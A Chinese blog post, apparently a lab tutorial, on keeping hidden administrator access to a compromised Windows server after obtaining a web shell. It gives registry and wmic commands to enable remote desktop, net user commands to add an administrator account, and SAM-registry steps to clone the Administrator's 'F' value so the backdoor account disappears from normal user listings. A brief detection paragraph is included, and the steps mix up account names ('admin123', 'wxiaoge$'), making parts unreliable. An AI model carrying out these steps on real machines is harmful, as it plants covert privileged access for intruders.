当前位置: 首页 > news >正文

windows系统如何走后面之windows系统隐藏账户

        系统隐藏账户是一种最为简单有效的权限维持方式,其做法就是让攻击者创建一个新的具有管理员权限的隐藏账户,因为是隐藏账户,所以防守方是无法通过控制面板或命令行看到这个账户的。

        自然我们需要一些前提条件,比如说有一个网站,我们获得了getshell,如果他是windows系统,我们以及拿到了administrator权限,那么我们可以使用如下的方式来进行一个后门的走。

环境模拟准备

vm,windows_server2012准备一个存在漏洞的网站

物理机攻击此网站获取osshell权限

第一步开启远程连接!

# 1.设置远程桌面端口(详细指定具体的端口,也可以不输入默认开启3389端口。)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f# 2.开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1#检查端口状态
netstat -an|find "3389"#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

添加一个用户

net user admin123 Admin654 /add
添加用户
net localgroup administrators admin123 /add
把用户添加至组
net user
可查看当前用户
net localgroup "Remote Desktop Users" admin123 /add
添加至允许远程连接
net localgroup "Remote Desktop Users"
查看允许远程连接的用户

使用远程连接连接计算机,若是遇到如下问题,可参考文献

通过远程桌面连接Windows实例时出现错误提示时的解决方案_云服务器 ECS(ECS)-阿里云帮助中心

出现身份验证错误。要求的函数不受支持
远程计算机:192.168.146.134这可能是由于 CredSSP 加密数据库修正若要了解详细信息,请访问 https://go,microsoft,com/fwlink/?linkid=866660

这样添加的用户,可以使用net user查看,或者在用户页面查看,或lusrmgr.msc本地用户和组中都可以看到

第二步隐藏用户

我们这里使用修改注册表编辑器的方式来隐藏用户输入regedt32打开注册表编辑器,并找到HKEY_LOCAL_MACHINE\SAM\SAM,点击右键,选择"权限"

将Administrator用户的权限,设置成“完全控制”

重新打开注册表,确保可以看到SAM路径下的文件

2.2.5 其次前往SAM/Domains/Account/Users/Names处,选择Administrator用户,在右侧的键值处可以找到对应的值如0x1f4,然后从左侧的Users目录下可以找到对应的文件

然后从对应的000001F4文件中将键值对F的值复制出来。然后同理找到隐藏账户admin123所对的文件,并将从Administrator文件中复制出来的F值粘贴进admin123文件中。

2.2.7最后将admin123和0x3f0从注册表中右键导出,并删除wxiaoge$用户,然后将刚刚导出的两个文件重新导入进注册表中即可实现wxiaoge用户的隐藏。

导出使用右键,删除用户使用cmd net user admin123 /del

此时此账户在net user 和用户管理以及用户和组中均不可见,也就是说只能在注册表编辑器中找到

额外之应急响应

 将HKEY_LOCAL_MACHINE\SA\SAM\Domains\Account\Users\Names与管理工具-》计算机管理-》本地用户和组-》用户相互对比,不存在的用户即为后门用户删除即可,删除时应对于删除。

另外当隐藏之后无法远程登录的解决办法参考以下文献,或自行网上搜索

https://www.cnblogs.com/ciscolee/p/15587768.html

http://www.lryc.cn/news/428291.html

相关文章:

  • Elasticsearch(ES)(版本7.x)数据更新后刷新策略RefreshPolicy
  • 【运维】从一个git库迁移到另一个库
  • and design vue表格列宽度拖拽,vue-draggable-resizable插件使用
  • 使用hexo搭建个人博客
  • java geotool构建地理点线面
  • C# 中 Grpc服务端调用客户端方法
  • Arthas相关命令
  • 2024年江苏省职业院校技能大赛 移动应用与开发中职赛项规程
  • 2024 Google 开发者大会,沉浸式体验AI社会公益
  • OpenCV(开源计算机视觉库)
  • Java二十三种设计模式-责任链模式(17/23)
  • Electron31-ViteAdmin桌面端后台|vite5.x+electron31+element-plus管理系统Exe
  • 鸿蒙HarmonyOS实战:创建NDK工程、毕昇编译器
  • 网络安全-防火墙初步认识。
  • golang channel什么情况main会deadlock?主协程是什么?
  • Redis之快速入门
  • mac 安装Arthas
  • 创客匠人老蒋:流量是个伪命题,做好这件事是打造IP最好避坑方式
  • 销售预测数据挖掘实战V2.0
  • 【K8s】Java项目部署时为什么要用k8s?
  • 【Python】AttributeError: module ‘PIL.Image‘ has no attribute ‘ANTIALIAS‘
  • SQL注入(cookie、base64、dnslog外带、搜索型注入)
  • GPT-4:揭秘人工智能新纪元
  • Taro 框架 React Native 开发
  • 学会平衡日常编码工作与提升学习
  • navicate premium16破解
  • Kafka运行机制(一):Kafka集群启动,controller选举,生产消费流程
  • 安徽医科大学:利用UKB数据库和孟德尔随机化,研究发表更轻松!
  • Ubuntu安装gdb出现错误的问题解决,DNS解析错误导致的安装失败
  • 【Redis】解析Redisson 限流器源码